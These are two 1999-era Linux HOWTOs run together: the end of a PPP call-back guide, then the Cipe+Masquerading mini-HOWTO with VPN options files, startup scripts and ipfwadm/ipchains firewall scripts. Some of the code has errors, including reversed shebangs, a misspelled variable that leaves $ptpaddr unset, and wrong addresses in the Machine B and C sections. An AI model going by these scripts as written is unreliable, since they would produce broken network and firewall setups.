sword:-sword password_for_ppuser
  • /usr/bin/ppp-call
    #!/bin/bash

teksta="Connection failed"

tekstb="Probably, You will be connect"

# /sbin/setserial /dev/ttyS1 spd_vhi

killall -INT pppd 2>/dev/null

rm -f /var/lock/LCK* /var/run/ppp*.pid

(/usr/sbin/pppd -detach call ppp_call &) || \

(echo $teksta; ls marsss >/dev/null; exit 1)

echo $tekstb

exit 0
  • You can run ppp-call, now. :)

If you have M$ Windows you can use this script for conection. I don't test it (I use terminal) you can ask some more Adrian Debkowski ( adrian@cr-media.pl).

proc main

delay 1

waitfor "ogin:"

transmit "call^M"

waitfor "RING"

transmit "ATA^M"

waitfor "CONNECT"

waitfor "ogin:"

transmit "pppuser^M"

waitfor "word:"

transmit "ppp^M"

endproc

2.5 PART V Summary

The Configuration of call-back is not complicated. The most important thing is a proper arrangement of ppp server on Linux. I don't know a better way of setting up an access - server. The configuration presented above is a result of numerous attempts and it can be done in a different way. That's way I suggest reading all the documents concerning the issue man pppd, NET-HOWTO, PPP-HOWTO,ISP-Setup-RedHat-HOWTO,Modem-HOWTO . A special thanks for Bill Staehle.


The Linux Cipe+Masquerading mini-HOWTO

Anthony Ciaravalo, acj@home.com

v1.2, 21 April 1999

How to setup a VPN using Cipe on a linux masquerading firewall.

1. Introduction

  • 1.1 Copyright statement
  • 1.2 Disclaimer
  • 1.3 Feedback
  • 1.4 Getting the files

2. Firewall Configuration

  • 2.1 VPN Network Diagram
  • 2.2 A little reference
  • 2.3 Additional notes about scripts and the VPN

3. Machine A Specific Configuration

  • 3.1 /etc/cipe/options.machineB
  • 3.2 /etc/cipe/options.machineC
  • 3.3 /etc/rc.d/rc.cipe
  • 3.4 Gateway

4. Machine B Specific Configuration

  • 4.1 /etc/cipe/options.machineA
  • 4.2 /etc/rc.d/rc.cipe
  • 4.3 Gateway

5. Machine C Specific Configuration

  • 5.1 /etc/cipe/options.machineA
  • 5.2 /etc/rc.d/rc.cipe
  • 5.3 Gateway

6. Common Machine Configuration

  • 6.1 /etc/cipe/ip-up
  • 6.2 /etc/cipe/ip-down

7. Example masquerading firewall scripts

  • 7.1 Kernel 2.0, ipfwadm
  • 7.2 Kernel 2.1/2.2, ipchains

8. Putting it all together

9. Connecting to the WAN

10. References

  • 10.1 Web Sites
  • 10.2 Documentation


The Linux Cipe+Masquerading mini-HOWTO: Introduction

 Next Previous Contents

1. Introduction

This is the Linux Cipe+Masquerading mini-HOWTO. It shows how to setup a Virtual Private Network between your LAN and other LAN's using Cipe on linux masquerading firewall machines. It also shows an example masquerading firewall configuration.

1.1 Copyright statement

C)opyright 1998, 1999 Anthony Ciaravalo, acj@home.com

Unless otherwise stated, Linux HOWTO documents are copyrighted by their respective authors. Linux HOWTO documents may be reproduced and distributed in whole or in part, in any medium physical or electronic, as long as this copyright notice is retained on all copies. Commercial redistribution is allowed and encouraged; however, the author would like to be notified of any such distributions.

All translations, derivative works, or aggregate works incorporating any Linux HOWTO documents must be covered under this copyright notice. That is, you may not produce a derivative work from a HOWTO and impose additional restrictions on its distribution. Exceptions to these rules may be granted under certain conditions; please contact the Linux HOWTO coordinator at the address given below.

If you have questions, please contact Tim Bynum, the Linux HOWTO coordinator, at tjbynum@wallybox.cei.net or linux-howto@metalab.unc.edu

1.2 Disclaimer

Use of the information and examples in this document is at your own risk. There are many security issues involved when connecting networks across the internet. Even though information is encrypted, an improperly configured firewall may result in a security breach. Precautions can be taken to protect your cipe connections, but it does not guarantee 100% security. The author does not guarantee the information provided in this document will provide a secure networking environment. Even though I have tried to be as accurate as possible creating this document, I am not responsible for any problems or damages incurred due to actions taken based on the information in this document.

1.3 Feedback

Send questions, comments, suggestions, or corrections to acj@home.com.

1.4 Getting the files

This howto was written based on Cipe versions 1.0.1 and 1.2.0. See reference section for link to Cipe home page.


The Linux Cipe+Masquerading mini-HOWTO: Firewall Configuration

 Next Previous Contents

2. Firewall Configuration

This howto assumes you already configured your kernel to support IP masquerade. See references below for information on configuring your kernel for a linux firewall.

2.1 VPN Network Diagram

This setup uses a star/hub configuration. It will set up a cipe connection from Machine A to Machine B and another from Machine A to Machine C.

                   Machine A
                eth0: 192.168.1.1
                eth1: real ip 1
               /               \
              /                 \
     Machine B                  Machine C
   eth0: 192.168.2.1           eth0:192.168.3.1
   eth1: real ip 2             eth1: real ip 3

2.2 A little reference

eth0 is the local network (fake address)
eth1 is the internet address (real address)

Port A is any valid port you would like to choose
Port B is any other valid port you would like to choose

Key A is any valid key you would like to choose  (read cipe doc for info)
Key B is any valid key you would like to choose

2.3 Additional notes about scripts and the VPN

The ip-up scripts currently only allow class c traffic through the cipe interface. If you wish for machine B to communicate with Machine C then you will need to change the appropriate ip-up and ip-down scripts. Specifically, you need to change the ptpaddr and myaddr netmasks. There are two ip-up scripts, one for ipchains and one for ipfwadm. Same with the ip-down scripts. Change the appropriate incoming, outgoing, and forwarding cipe interface firewall rules netmask from /24 to /16. Any cipe firewall rule changes you make in ip-up for ipfwadm, make sure the ip-down script reflects the change so it will be properly removed from the list when the interface goes down. For the ipchains file, anything added in a chain does not need ip-down reflection since ip-down will flush all the rules in the user defined chain.

You will also need to uncomment the network route in the rc.cipe for Machine B and C that adds each others network to their route table.


The Linux Cipe+Masquerading mini-HOWTO: Machine A Specific Configuration

 Next Previous Contents

3. Machine A Specific Configuration

3.1 /etc/cipe/options.machineB

#uncomment 1 below
#name for cipe 1.0.x
#device          cip3b0
#name for cipe 1.2.x
device          cipcb0

# remote internal (fake) ip address
ptpaddr         192.168.2.1
# my cipe (fake) ip address
ipaddr          192.168.1.1
# my real ip address and cipe port
me              (real ip 1):(port A)
# remote real ip address and cipe port
peer            (real ip 2):(port A)
#unique 128 bit key
key             (Key A)

3.2 /etc/cipe/options.machineC

#uncomment 1 below
#name for cipe 1.0.x
#device          cip3b1
#name for cipe 1.2.x
device          cipcb1

# remote internal (fake) ip address
ptpaddr         192.168.3.1
# my cipe (fake) ip address
ipaddr          192.168.1.1
# my real ip address and cipe port
me              (real ip 1):(port B)
# remote real ip address and cipe port
peer            (real ip 3):(port B)
#unique 128 bit key
key             (Key B)

3.3 /etc/rc.d/rc.cipe

!#/bin/bash
#rc.cipe  3/29/1999
#Send questions or comments to acj@home.com.

#Setup script path
PATH="/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin"

#Options filenames in cipe directory for cipe interfaces
options="options.machineB options.machineC"

#Automatically obtain options filenames from cipe directory
#options=`/bin/ls /etc/cipe/options.*`

#Uncomment 1 below for the cipe module name
#cipemod="cip3b"        #for cipe 1.0
cipemod="cipcb"        #for cipe 1.2

#Check for cipe module and load if not already loaded
grep $cipemod /proc/modules >/dev/null
if [ "$?" = "1" ]; then
        echo Loading cipe module.
        modprobe $cipemod
        if [ "$?" = "1" ]; then
                echo Error loading cipe module...exiting.
                exit
        fi
else
        echo Cipe module already loaded.
fi

#Remove any existing cipe interfaces
cipeif=`cat /proc/net/dev | cut -f1 -d: | grep $cipemod`

if [ "$cipeif" != "" ]; then
        echo Removing existing cipe interface(s).
        for i in $cipeif; do
                ifconfig $i down
        done
fi

#Setup cipe interfaces
echo -n "Setting up cipe interface(s): "
for config in $options; do
        echo -n $config" "
        ciped -o $config
done
echo
echo

#Add routes for other remote networks via cipe interface(s)
#route add -net x.x.x.x netmask x.x.x.x gw x.x.x.x

3.4 Gateway

All machines on network 192.168.1.0 must have 192.168.1.1 as gateway. If you don't it will not work.


The Linux Cipe+Masquerading mini-HOWTO: Machine B Specific Configuration

 Next Previous Contents

4. Machine B Specific Configuration

4.1 /etc/cipe/options.machineA

#uncomment 1 below
#name for cipe 1.0.x
#device          cip3b0
#name for cipe 1.2.x
device          cipcb0

#remote internal (fake) ip address
ptpaddr         192.168.1.1
# my cipe (fake) ip address
ipaddr          192.168.2.1
# my real ip address and cipe port
me              (real ip 1):(port A)
# remote real ip address and cipe port
peer            (real ip 2):(port A)
#unique 128 bit key
key             (Key A)

4.2 /etc/rc.d/rc.cipe

!#/bin/bash
#rc.cipe  3/29/1999
#Send questions or comments to acj@home.com.

#Setup script path
PATH="/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin"

#Options filenames in cipe directory for cipe interfaces
options="options.machineA"

#Automatically obtain options filenames from cipe directory
#options=`/bin/ls /etc/cipe/options.*`

#Uncomment 1 below for the cipe module name
#cipemod="cip3b"        #for cipe 1.0
cipemod="cipcb"        #for cipe 1.2

#Check for cipe module and load if not already loaded
grep $cipemod /proc/modules >/dev/null
if [ "$?" = "1" ]; then
        echo Loading cipe module.
        modprobe $cipemod
        if [ "$?" = "1" ]; then
                echo Error loading cipe module...exiting.
                exit
        fi
else
        echo Cipe module already loaded.
fi

#Remove any existing cipe interfaces
cipeif=`cat /proc/net/dev | cut -f1 -d: | grep $cipemod`

if [ "$cipeif" != "" ]; then
        echo Removing existing cipe interface(s).
        for i in $cipeif; do
                ifconfig $i down
        done
fi

#Setup cipe interfaces
echo -n "Setting up cipe interface(s): "
for config in $options; do
        echo -n $config" "
        ciped -o $config
done
echo
echo

#Add routes for other remote networks via cipe interface(s)
#route add -net x.x.x.x netmask x.x.x.x gw x.x.x.x
#route to machine C network
#route add -net 192.168.3.0 netmask 255.255.255.0 gw 192.168.3.1

4.3 Gateway

All machines on network 192.168.2.0 must have 192.168.2.1 as gateway. If you don't it will not work.


The Linux Cipe+Masquerading mini-HOWTO: Machine C Specific Configuration

 Next Previous Contents

5. Machine C Specific Configuration

5.1 /etc/cipe/options.machineA

#uncomment 1 below
#name for cipe 1.0.x
#device          cip3b0
#name for cipe 1.2.x
device          cipcb0

#remote internal (fake) ip address
ptpaddr         192.168.1.1
# my cipe (fake) ip address
ipaddr          192.168.3.1
# my real ip address and cipe port
me              (real ip 3):(port B)
#remote real ip address and cipe port
peer            (real ip 1):(port B)
#unique 128 bit key
key             (Key B)

5.2 /etc/rc.d/rc.cipe

!#/bin/bash
#rc.cipe  3/29/1999
#Send questions or comments to acj@home.com.

#Setup script path
PATH="/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin"

#Options filenames in cipe directory for cipe interfaces
options="options.machineA"

#Automatically obtain options filenames from cipe directory
#options=`/bin/ls /etc/cipe/options.*`

#Uncomment 1 below for the cipe module name
#cipemod="cip3b"        #for cipe 1.0
cipemod="cipcb"        #for cipe 1.2

#Check for cipe module and load if not already loaded
grep $cipemod /proc/modules >/dev/null
if [ "$?" = "1" ]; then
        echo Loading cipe module.
        modprobe $cipemod
        if [ "$?" = "1" ]; then
                echo Error loading cipe module...exiting.
                exit
        fi
else
        echo Cipe module already loaded.
fi

#Remove any existing cipe interfaces
cipeif=`cat /proc/net/dev | cut -f1 -d: | grep $cipemod`

if [ "$cipeif" != "" ]; then
        echo Removing existing cipe interface(s).
        for i in $cipeif; do
                ifconfig $i down
        done
fi

#Setup cipe interfaces
echo -n "Setting up cipe interface(s): "
for config in $options; do
        echo -n $config" "
        ciped -o $config
done
echo
echo

#Add routes for other remote networks via cipe interface(s)
#route add -net x.x.x.x netmask x.x.x.x gw x.x.x.x
#route to machine B network
#route add -net 192.168.2.0 netmask 255.255.255.0 gw 192.168.2.1

5.3 Gateway

All machines on network 192.168.2.0 must have 192.168.2.1 as gateway. If you don't it will not work.


The Linux Cipe+Masquerading mini-HOWTO: Common Machine Configuration

 Next Previous Contents

6. Common Machine Configuration

6.1 /etc/cipe/ip-up

Kernel 2.0, ipfwadm, cipe 1.0.x

#!/bin/bash
# ip-up <interface> <myaddr> <daemon-pid> <local> <remote> <arg>
#3/29/1999
#An example ip-up script for the older 1.x 2.x kernels using ipfwadm that
#will setup routes and firewall rules to connect your local class c network
#to a remote class c network.

#The rules are configured to prevent spoofing and stuffed routing between
#the networks.  There are also additional security enhancements commented
#out towards the bottom of the script.
#Send questions or comments to acj@home.com.

#--------------------------------------------------------------------------
#Set some script variables
device=$1               # the CIPE interface
me=$2                   # our UDP address
pid=$3                  # the daemon's process ID
ipaddr=$4               # IP address of our CIPE device
vptpaddr=$5              # IP address of the remote CIPE device
option=$6               # argument supplied via options

PATH="/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin"

#comment/uncomment to enable/disbale kernel logging for all unauthorized
#access attempts. Must be same as ip-down script in order to remove rules.
log="-o"

#--------------------------------------------------------------------------
umask 022

# just a logging example
#echo "UP   $*" >> /var/adm/cipe.log

# many systems like these pid files
#echo $3 > /var/run/$device.pid

#--------------------------------------------------------------------------

#add route entry for remote cipe network
network=`expr $ptpaddr : '\([0-9]*\.[0-9]*\.[0-9]*\.\)'`0
route add -net $network netmask 255.255.255.0 dev $device

#need to add route entry for host in 2.0 kernels
route add -host $ptpaddr dev $device

#--------------------------------------------------------------------------
#cipe interface incoming firewall rules
#must be inserted into list in reverse order

#deny all other incoming packets to cipe interface
ipfwadm -I -i deny -W $device -S 0/0 -D 0/0 $log

#accept incoming packets from remotenet to localnet on cipe interface
ipfwadm -I -i accept -W $device -S $ptpaddr/24 -D $ipaddr/24

#accept incoming packets from localnet to remotenet on cipe interface
ipfwadm -I -i accept -W $device -S $ipaddr/24 -D $ptpaddr/24

#deny incoming packets, cipe interface, claiming to be from localnet; log
ipfwadm -I -i deny -W $device -S $ipaddr/24 -D $ipaddr/24 $log

#--------------------------------------------------------------------------
#cipe interface outgoing firewall rules
#must be inserted into list in reverse order

#deny all other outgoing packets from cipe interface
ipfwadm -O -i deny -W $device -S 0/0 -D 0/0 $log

#accept outgoing from remotenet to localnet on cipe interface
ipfwadm -O -i accept -W $device -S $ptpaddr/24 -D $ipaddr/24

#accept outgoing from localnet to remotenet on cipe interface
ipfwadm -O -i accept -W $device -S $ipaddr/24 -D $ptpaddr/24

#deny outgoing to localnet from localnet, cipe interface, deny; log
ipfwadm -O -i deny -W $device -S $ipaddr/24 -D $ipaddr/24 $log

#--------------------------------------------------------------------------
#The forwarding is configured so machines on your local network do not get
#masqueraded to the remote network.  This provides better access control
#between networks.  Must be inserted into list in reverse order

#deny all other forwarding through cipe interface; log
ipfwadm -F -i deny -W $device -S 0/0 -D 0/0 $log

#accept forwarding from remotenet to localnet on cipe interfaces
ipfwadm -F -i accept -W $device -S $ptpaddr/24 -D $ipaddr/24

#accept forwarding from localnet to remotenet on cipe interfaces
ipfwadm -F -i accept -W $device -S $ipaddr/24 -D $ptpaddr/24

#--------------------------------------------------------------------------
#Make sure forwarding is enabled in the kernel. The kernel by default may
#have forwarding disabled.
/bin/echo 1 > /proc/sys/net/ipv4/ip_forward

#--------------------------------------------------------------------------
#Optional security enhancement - set default forward policy to
#DENY or REJECT.  If your forwarding default policy is DENY/REJECT
#you will need to add the following rules to your main forward chain.  It
#is a good idea to have all default policies set for DENY or
#REJECT.

#define machine interfaces
#localif="eth0"
#staticif="eth1"                ;cable modem users
#staticif="ppp0"                ;dialup users

#a real sloppy way to get the peer ip address from the options file - a new
#argument with peer ip:port passed to script would be nice.
#both lines need to be uncommented
#peerfile=`grep $device /etc/cipe/options.* | cut -f1 -d:`
#peer=`grep peer $peerfile | cut -f1 -d: | awk '{print $2}'`

#must log peer ip address for ip-down script
#echo $peer > /var/run/$device.peerip

#accept forwarding from localnet to remotenet on internal network interface
#ipfwadm -F -i accept -W $localif -S $ipaddr/24 -D $ptpaddr/24
#accept forwarding from remotenet to localnet on internal network interface
#ipfwadm -F -i accept -W $localif -S $ptpaddr/24 -D $ipaddr/24
#accept forwarding on staticif from me to peer
#myaddr=`echo $me | cut -f1 -d:`
#ipfwadm -F -i accept -W $staticif -S $myaddr -D $peer
#--------------------------------------------------------------------------
#Other optional security enhancement
#block all incoming requests from everywhere to our cipe udp port
#except our peer's udp port

#need to determine udp ports for the cipe interfaces
#get our udp port
#if [ "$option" = "" ]; then
#       myport=`echo $me | cut -f2 -d:`
#else
#       myport=$option
#fi

#get remote udp port -- peerfile variable must be set above
#peerport=`grep peer $peerfile | cut -f2 -d:`

#must log peer udp port for ip-down script
#echo $peerport > /var/run/$device.peerport

#get our ip address
#myaddr=`echo $me | cut -f1 -d:`

#deny and log all requests to cipe udp port must be inserted first
#ipfwadm -I -i deny -P udp -W $staticif -S 0/0 -D $myaddr $myport $log
#accept udp packets from peer at udp cipe port to my udp cipe port
#ipfwadm -I -i accept -P udp -W $staticif -S $peer $peerport \
#-D $myaddr $myport

exit 0

Kernel 2.1/2.2, ipchains, cipe 1.2.x

#!/bin/bash
# ip-up <interface> <myaddr> <daemon-pid> <local> <remote> <arg>
#3/29/1999
#An example ip-up script for the newer 2.1/2.2 kernels using ipchains that
#will setup routes and firewall rules to connect your local class c network
#to a remote class c network.  This script creates 3 user defined chains
#-input, output, and forward - for each cipe interface, based on the
#interface name. It will then insert a rule into each of the built-in
#input, output, and forward chains to use the user defined chains. The
#rules are configured to prevent spoofing and stuffed routing between the
#networks. There are also additional security enhancements commented out
#towards the bottom of the script.
#Send questions or comments to acj@home.com.

#--------------------------------------------------------------------------

#Set some script variables
device=$1               # the CIPE interface
me=$2                   # our UDP address
pid=$3                  # the daemon's process ID
ipaddr=$4               # IP address of our CIPE device
ptpaddr=$5              # IP address of the remote CIPE device
option=$6               # argument supplied via options

PATH="/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin"

#comment/uncomment to enable/disbale kernel logging for all unauthorized
#access attempts. Must be same as ip-down script in order to remove rules.
log="-l"

#--------------------------------------------------------------------------
umask 022
# just a logging example
#echo "UP   $*" >> /var/adm/cipe.log

# many systems like these pid files
#echo $3 > /var/run/$device.pid

#--------------------------------------------------------------------------
#add route entry for remote cipe network
network=`expr $ptpaddr : '\([0-9]*\.[0-9]*\.[0-9]*\.\)'`0
route add -net $network netmask 255.255.255.0 dev $device

#--------------------------------------------------------------------------
#create new ipchain for cipe interface input rules
ipchains -N $device"i"
#flush all rules in chain (sanity flush)
ipchains -F $device"i"
#deny incoming packets, cipe interface, claiming to be from localnet; log
ipchains -A $device"i" -j DENY -i $device -s $ipaddr/24 -d $ipaddr/24 $log
#accept incoming packets from localnet to remotenet on cipe interface
ipchains -A $device"i" -j ACCEPT -i $device -s $ipaddr/24 -d $ptpaddr/24
#accept incoming packets from remotenet to localnet on cipe interface
ipchains -A $device"i" -j ACCEPT -i $device -s $ptpaddr/24 -d $ipaddr/24
#deny all other incoming packets
ipchains -A $device"i" -j DENY -s 0/0 -d 0/0 $log

#--------------------------------------------------------------------------
#create new ipchain for cipe interface output rules
ipchains -N $device"o"
#flush all rules in chain (sanity flush)
ipchains -F $device"o"
#deny outgoing to localnet from localnet, cipe interface, deny; log
ipchains -A $device"o" -j DENY -i $device -s $ipaddr/24 -d $ipaddr/24 $log
#accept outgoing from localnet to remotenet on cipe interface
ipchains -A $device"o" -j ACCEPT -i $device -s $ipaddr/24 -d $ptpaddr/24
#accept outgoing from remotenet to localnet on cipe interface
ipchains -A $device"o" -j ACCEPT -i $device -s $ptpaddr/24 -d $ipaddr/24
#deny all other outgoing packets
ipchains -A $device"o" -j DENY -s 0/0 -d 0/0 $log

#--------------------------------------------------------------------------
#The forward chain is configured so machines on your local network do not
#get masqueraded to the remote network.  This provides better access
#control between networks.

#create new ipchain for cipe interface forward rules
ipchains -N $device"f"
#flush all rules in chain (sanity flush)
ipchains -F $device"f"
#accept forwarding from localnet to remotenet on cipe interfaces
ipchains -A $device"f" -j ACCEPT -i $device -s $ipaddr/24 -d $ptpaddr/24
#accept forwarding from remotenet to localnet on cipe interfaces
ipchains -A $device"f" -j ACCEPT -i $device -s $ptpaddr/24 -d $ipaddr/24
#deny all other forwarding; log
ipchains -A $device"f" -j DENY -s 0/0 -d 0/0 $log

#--------------------------------------------------------------------------
#Make sure forwarding is enabled in the kernel. New kernels by default have
#forwarding disabled.
/bin/echo 1 > /proc/sys/net/ipv4/ip_forward

#--------------------------------------------------------------------------
#insert rules to main input, output, and forward chains to enable new rules
#for the cipe interface
ipchains -I input -i $device -j $device"i"
ipchains -I output -i $device -j $device"o"
ipchains -I forward -i $device -j $device"f"

#--------------------------------------------------------------------------
#Optional security enhancement - set built-in forward chain policy to
#DENY or REJECT.  If your main forward chain default policy is DENY/REJECT
#you will need to add the following rules to your main forward chain.  It
#is a good idea to have all built-in chain default policies set for DENY or
#REJECT.

#define machine interfaces
#localif="eth0"
#staticif="eth1"                ;cable modem users
#staticif="ppp0"                ;dialup users

#a real sloppy way to get the peer ip address from the options file - a new
#argument with peer ip:port passed to script would be nice.
#both lines need to be uncommented
#peerfile=`grep $device /etc/cipe/options.* | cut -f1 -d:`
#peer=`grep peer $peerfile | cut -f1 -d: | awk '{print $2}'`

#must log peer ip address for ip-down script
#echo $peer > /var/run/$device.peerip

#accept forwarding from localnet to remotenet on internal network interface
#ipchains -I forward -j ACCEPT -i $localif -s $ipaddr/24 -d $ptpaddr/24
#accept forwarding from remotenet to localnet on internal network interface
#ipchains -I forward -j ACCEPT -i $localif -s $ptpaddr/24 -d $ipaddr/24
#accept forwarding on staticif from me to peer
#myaddr=`echo $me | cut -f1 -d:`
#ipchains -I forward -j ACCEPT -i $staticif -s $myaddr -d $peer
#--------------------------------------------------------------------------
#Other optional security enhancement
#block all incoming requests from everywhere to our cipe udp port
#except our peer's udp port

#need to determine udp ports for the cipe interfaces
#get our udp port
#if [ "$option" = "" ]; then
#       myport=`echo $me | cut -f2 -d:`
#else
#       myport=$option
#fi

#get remote udp port -- peerfile variable must be set above
#peerport=`grep peer $peerfile | cut -f2 -d:`

#must log peer udp port for ip-down script
#echo $peerport > /var/run/$device.peerport

#get our ip address
#myaddr=`echo $me | cut -f1 -d:`

#deny and log all requests to cipe udp port must be inserted first
#ipchains -I input -j DENY -p udp -i $staticif -s 0/0 \
#-d $myaddr $myport $log
#accept udp packets from peer at udp cipe port to my udp cipe port
#ipchains -I input -j ACCEPT -p udp -i $staticif -s $peer $peerport \
# -d $myaddr $myport

#--------------------------------------------------------------------------
# Set up spoofing protection in kernel as an additional security measure
#--------------------------------------------------------------------------
#Why do I have spoofing protection in the firewall rules in addition to
#this script that sets up spoof protection for each interface in the
#kernel? Guess I'm paranoid.

if [ -e /proc/sys/net/ipv4/conf/all/rp_filter ]; then
        echo -n "Setting up IP spoofing protection..."
        iface="/proc/sys/net/ipv4/conf/$device/rp_filter"
        echo 1 > $iface
        echo "done."
else
        echo "Cannot setup spoof protection in kernel for $device" \
                | mail -s"Security Warning: $device" root
        exit 1
fi

exit 0

6.2 /etc/cipe/ip-down

Kernel 2.0, ipfwadm, cipe 1.0.x

#!/bin/bash

# ip-down <interface> <myaddr> <daemon-pid> <local> <remote> <arg>
#3/29/1999
#An example ip-down script for the older 1.x 2.x kernels using ipfwadm that
#will remove firewall rules that were setup to connect your local class c
#network to a remote class c network.

#--------------------------------------------------------------------------
#Set some script variables
device=$1               # the CIPE interface
me=$2                   # our UDP address
pid=$3                  # the daemon's process ID
ipaddr=$4               # IP address of our CIPE device
ptpaddr=$5              # IP address of the remote CIPE device
option=$6               # argument supplied via options

PATH="/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin"

#comment/uncomment to enable/disbale kernel logging for all unauthorized
#access attempts. Must be same as ip-down script in order to remove rules.
log="-o"

#--------------------------------------------------------------------------
umask 022

# just a logging example
#echo "DOWN   $*" >> /var/adm/cipe.log

# many systems like these pid files
#rm -f /var/run/$device.pid

#--------------------------------------------------------------------------
#cipe interface incoming firewall rules

#delete (deny all other incoming packets to cipe interface)
ipfwadm -I -d deny -W $device -S 0/0 -D 0/0 $log

#delete (accept incoming packets from remotenet to localnet on cipe
#interface)
ipfwadm -I -d accept -W $device -S $ptpaddr/24 -D $ipaddr/24

#delete (accept incoming packets from localnet to remotenet on cipe
#interface)
ipfwadm -I -d accept -W $device -S $ipaddr/24 -D $ptpaddr/24

#delete (deny incoming packets, cipe interface, claiming to be from
#localnet and log)
ipfwadm -I -d deny -W $device -S $ipaddr/24 -D $ipaddr/24 $log

#--------------------------------------------------------------------------
#cipe interface incoming firewall rules

#delete (deny all other outgoing packets from cipe interface)
ipfwadm -O -d deny -W $device -S 0/0 -D 0/0 $log

#delete (accept outgoing from remotenet to localnet on cipe interface)
ipfwadm -O -d accept -W $device -S $ptpaddr/24 -D $ipaddr/24

#delete (accept outgoing from localnet to remotenet on cipe interface)
ipfwadm -O -d accept -W $device -S $ipaddr/24 -D $ptpaddr/24

#delete (deny outgoing to localnet from localnet, cipe interface, deny
#and log)
ipfwadm -O -d deny -W $device -S $ipaddr/24 -D $ipaddr/24 $log

#--------------------------------------------------------------------------
#cipe interface forwarding firewall rules

#delete (deny all other forwarding through cipe interface; log)
ipfwadm -F -d deny -W $device -S 0/0 -D 0/0 $log

#delete (accept forwarding from remotenet to localnet on cipe interfaces)
ipfwadm -F -d accept -W $device -S $ptpaddr/24 -D $ipaddr/24

#delete (accept forwarding from localnet to remotenet on cipe interfaces)
ipfwadm -F -d accept -W $device -S $ipaddr/24 -D $ptpaddr/24

#--------------------------------------------------------------------------
#Optional security enhancement - set default forward policy to
#DENY or REJECT.  If your forwarding default policy is DENY/REJECT
#you will need to add the following rules to your main forward chain.  It
#is a good idea to have all default policies set for DENY or
#REJECT.

#define machine interfaces
#localif="eth0"
#staticif="eth1"                ;cable modem users
#staticif="ppp0"                ;dialup users

#a real sloppy way to get the peer ip address from the options file - a new
#argument with peer ip:port passed to script would be nice.
#both lines need to be uncommented
#peerfile=`grep $device /etc/cipe/options.* | cut -f1 -d:`
#peer=`grep peer $peerfile | cut -f1 -d: | awk '{print $2}'`

#must log peer ip address for ip-down script
#echo $peer > /var/run/$device.peerip

#delete (accept forwarding from localnet to remotenet on internal network
interface)
#ipfwadm -F -d accept -W $localif -S $ipaddr/24 -D $ptpaddr/24
#delete (accept forwarding from remotenet to localnet on internal network
interface)
#ipfwadm -F -d accept -W $localif -S $ptpaddr/24 -D $ipaddr/24
#delete (accept forwarding on staticif from me to peer)
#myaddr=`echo $me | cut -f1 -d:`
#ipfwadm -F -d accept -W $staticif -S $myaddr -D $peer
#--------------------------------------------------------------------------
#Other optional security enhancement
#block all incoming requests from everywhere to our cipe udp port
#except our peer's udp port

#need to determine udp ports for the cipe interfaces
#get our udp port
#if [ "$option" = "" ]; then
#       myport=`echo $me | cut -f2 -d:`
#else
#       myport=$option
#fi

#get remote udp port -- peerfile variable must be set above
#peerport=`grep peer $peerfile | cut -f2 -d:`

#must log peer udp port for ip-down script
#echo $peerport > /var/run/$device.peerport

#get our ip address
#myaddr=`echo $me | cut -f1 -d:`

#delete (deny and log all requests to cipe udp port must be inserted first)
#ipfwadm -I -d deny -P udp -W $staticif -S 0/0 -D $myaddr $myport $log
#delete (accept udp packets from peer at udp cipe port to my udp cipe port)
#ipfwadm -I -d accept -P udp -W $staticif -S $peer $peerport \
#-D $myaddr $myport

exit 0

Kernel 2.1/2.2, ipchains, cipe 1.2.x

#!/bin/sh
# ip-down <interface> <myaddr> <daemon-pid> <local> <remote> <arg>
#3/29/1999
#An example ip-down script for the newer 2.1/2.2 kernels using ipchains
#that will remove firewall rules that were setup to connect your local
#class c network to a remote class c network.  Optional security
#enhancement rules removal is also added and commented towards end of
#script.
#Send questions or comments to acj@home.com.

#--------------------------------------------------------------------------
#Set some script variables
device=$1               # the CIPE interface
me=$2                   # our UDP address
pid=$3                  # the daemon's process ID
ipaddr=$4               # IP address of our CIPE device
ptpaddr=$5              # IP address of the remote CIPE device
option=$6               # argument supplied via options
PATH="/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin"

#comment/uncomment to enable/disbale kernel logging for all unauthorized
#access attempts
#must be same as ip-up script in order to remove rules
log="-l"

#--------------------------------------------------------------------------
umask 022

# Logging example
#echo "DOWN $*" >> /var/adm/cipe.log

# remove the daemon pid file
#rm -f /var/run/$device.pid

#--------------------------------------------------------------------------
#remove rules from main input, output, and forward chains for cipe
#interface
ipchains -D input -i $device -j $device"i"
ipchains -D output -i $device -j $device"o"
ipchains -D forward -i $device -j $device"f"

#--------------------------------------------------------------------------
#flush all rules in cipe interface input chain
ipchains -F $device"i"
#remove cipe interface input chain
ipchains -X $device"i"

#--------------------------------------------------------------------------
#flush all rules in cipe interface output chain
ipchains -F $device"o"
#remove cipe interface output chain
ipchains -X $device"o"

#--------------------------------------------------------------------------
#flush all rules in cipe interface forward chain
ipchains -F $device"f"
#remove cipe interface forward chain
ipchains -X $device"f"

#--------------------------------------------------------------------------
#Remove optional security enhancement rules

#get peer ip address
#peer=`cat /var/run/$device.peerip`

#define machine interfaces
#localif="eth0"
#staticif="eth1"                ;cable modem users
#staticif="ppp0"                ;dialup users

#get our ip address
#myaddr=`echo $me |cut -f1 -d:`

#delete (accept forwarding from localnet to remotenet on internal network
#interface)
#ipchains -D forward -j ACCEPT -i $localif -s $ipaddr/24 -d $ptpaddr/24
#delete (accept forwarding from remotenet to localnet on internal network
#interface)
#ipchains -D forward -j ACCEPT -i $localif -s $ptpaddr/24 -d $ipaddr/24
#delete (accept forwarding on staticif from me to peer)
#ipchains -D forward -j ACCEPT -i $staticif -s $myaddr -d $peer

#remove peer ip file
#rm /var/run/$device.peerip

#--------------------------------------------------------------------------
#Remove other optional security enhancement rules

#get peer udp port
#peerport=`cat /var/run/$device.peerport`

#get our udp port
#if [ "$option" = "" ]; then
#        myport=`echo $me | cut -f2 -d:`
#else
#        myport=$option
#fi

#delete (deny and log all requests to cipe udp port must be inserted first)
#ipchains -D input -j DENY -p udp -i $staticif -s 0/0 \
#-d $myaddr $myport $log
#delete (accept udp packets from peer at udp cipe port to my udp cipe port)
#ipchains -D input -j ACCEPT -p udp -i $staticif -s $peer $peerport \
#-d $myaddr $myport

#remove peer port file
#rm /var/run/$device.peerport

